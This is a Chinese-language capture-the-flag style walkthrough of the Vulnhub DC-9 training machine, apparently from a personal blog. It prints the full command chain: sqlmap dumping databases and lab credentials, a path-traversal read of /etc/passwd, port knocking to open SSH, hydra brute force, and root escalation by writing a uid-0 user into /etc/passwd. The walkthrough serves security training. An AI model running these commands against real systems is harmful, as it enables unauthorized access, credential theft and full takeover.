Vulnhub靶機:DC-9

靶機下載地址:https://download.vulnhub.com/dc/DC-9.zip

靶機描述:DC-9 是另一個專門構建的易受攻擊的實驗室,旨在獲得滲透測試領域的經驗。這一挑戰的最終目標是獲得root,並閱讀唯一的flag。

涉及漏洞:SQL注入、LFI

攻擊機:Kali/192.168.0.104

一、信息收集

1.探測目標

$ sudo arp-scan -l
或者
$ sudo netdiscover -i eth0

2.查看目標開放端口

$ sudo nmap -sV -p 0-6553 192.168.0.105

目標靶機開放了80端口,22端口顯示被過濾掉了

3.查看網頁相關信息

使用瀏覽器插件Wappalyzer,這個插件可以檢測網站的CMS,框架,服務器等信息,

但是沒有檢測到CMS信息

二、漏洞查找與利用

1.SQL注入

在頁面發現一個search框,可以查詢用戶信息,與數據庫有交互,猜測可能存在SQL注入,隨便輸入數據查詢,URL框沒有改變,說明是POST方式提交,Burp抓包檢測是否存在SQL注入的可能

可以看出確實存在POST型SQL注入,網站應該對注入做了一些應對措施。過濾啊,屏蔽報錯啊

居然存在注入,話不多說,直接上SQLmap跑

sqlmap -u "http://192.168.0.105/results.php" --data "search=1" --dbs

available databases [3]:
[*] information_schema
[*] Staff
[*] users

--data:指定的數據會被作爲POST數據提交

發現Staff和users數據庫,先看看users庫中有什麼

users數據庫

sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users --tables

Database: users
[1 table]
+-------------+
| UserDetails |
+-------------+
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users -T UserDetails --dump

Database: users
Table: UserDetails
[17 entries]
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname   | password      | reg_date            | username  | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |
| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |
| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |
| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |
| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |
| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |
| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |
| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |
| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |
| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |
| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |
| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |
| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |
| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |
| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |
| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |
| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |
+----+------------+---------------+---------------------+-----------+-----------+

這裏是那些員工這賬號和密碼,後面可能會用到,先放着,然後我們再看看Staff庫裏面有啥

Staff數據庫

sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff --tables

Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users        |
+--------------+
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff -T StaffDetails --dump
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff -T Users --dump

#dump完密碼的時候會提示你是否解密md5,你選擇SQLmap自帶的字典就可以跑出明文密碼

得到用戶名和密碼:admin/transorbital1然後使用這個用戶去站點登錄

2.本地文件包含LFI

登錄後多了Add Record和Manage頁面,在Manage的下面發現了一句話File does not exits ,猜測可能存在文件包含漏洞,猜測文件參數是file

?file=../../../../etc/passwd

果然存在LFI漏洞,接下來是fuzz一下系統文件

[圖片上傳失敗...(image-9da6e3-1593651884334)]

發現了/etc/knockd.conf,這就和之前nmap掃描靶機運行了SSH服務,但是狀態是filtered對應起來了,因爲knockd可以對SSH進行防護

3.端口敲門

knockd字面意思是敲,只是這裏敲的是端口,而且需要按照順序‘敲’端口。如果敲擊規則匹配,則可以讓防火牆實時更改策略。從而達到開關防火牆的目的。

更多詳細請看:

看一下/etc/knockd.conf文件中的自定義端口

有3個自定義端口7469,8475,9842,根據Port-knocking的規則依次訪問這三個端口就可以打開SSH服務了

sudo nmap -p 7469 192.168.0.105
sudo nmap -p 8475 192.168.0.105
sudo nmap -p 9842 192.168.0.105

或者安裝knockd
knock 192.168.0.105 7469 8475 9842

現在我們看一哈ssh服務被敲開沒有

sudo nmap -p 22 192.168.0.105

不出所料SSH服務被成功敲開

4.hydra爆破SSH賬戶

將前面所爆出來的那些員工的賬號和密碼編寫成兩個字典,進行ssh爆破

username.txt password.txt
hydra -L username.txt -P password.txt ssh://192.168.0.105 

爆破出來有3個用戶可用,chandlerb\UrAG0D!joeyt\Passw0rdjanitor\Ilovepeepee

依次登錄3個用戶,最終在用戶janitor的目錄下找到了隱藏文件

ssh [email protected] 
UrAG0D!

ssh [email protected] 
Passw0rd

ssh [email protected] 
Ilovepeepee

.secrets-for-putin隱藏文件中有一個可讀文件,打開後這好像是存放的用戶密碼,然後把這些密碼再加進剛剛我們編寫的password.txt字典中重新再爆破一次看看

爆破出了一個新的用戶號:fredf\B4-Tru3-001

三、提升權限

使用fredf用戶登錄靶機

ssh [email protected]
B4-Tru3-001

列出sudo權限的命令,這裏發現fred用戶在NOPASSWD的情況下可以使用root權限運行這個test文件

sudo -l

嘗試運行,發現它是一個python文件

使用find查找test.py文件

find / -name test.py 2>/dev/null

2>/dev/null 代表忽略掉錯誤提示信息。

查看test.py

py文件的含義爲:讀取參數1的內容,然後將參數1的內容寫入到參數2的內容中。

那我們可以構造一個root權限用戶,將該用戶信息寫入文件內,將改文件作爲參數1,/etc/passwd作爲參數2,這樣就創建了一個root權限用戶,就能實現提權了

構造參數1

openssl passwd -1 -salt admin 123456

-1 的意思是使用md5加密算法
-salt 自動插入一個隨機數作爲文件內容加密
admin 123456 用戶名和密碼

根據/etc/passwd的格式,修改一下,然後存入一個文件裏,這個文件就是參數1

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
    # 用戶名:密碼:uid:gid:家目錄:登陸後使用的shell
    
sudo ./test /tmp/passwd /etc/passwd    
su admin
cd /root
ls
cat theflag.txt

前往我的個人博客看更多:https://jwt1399.top

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章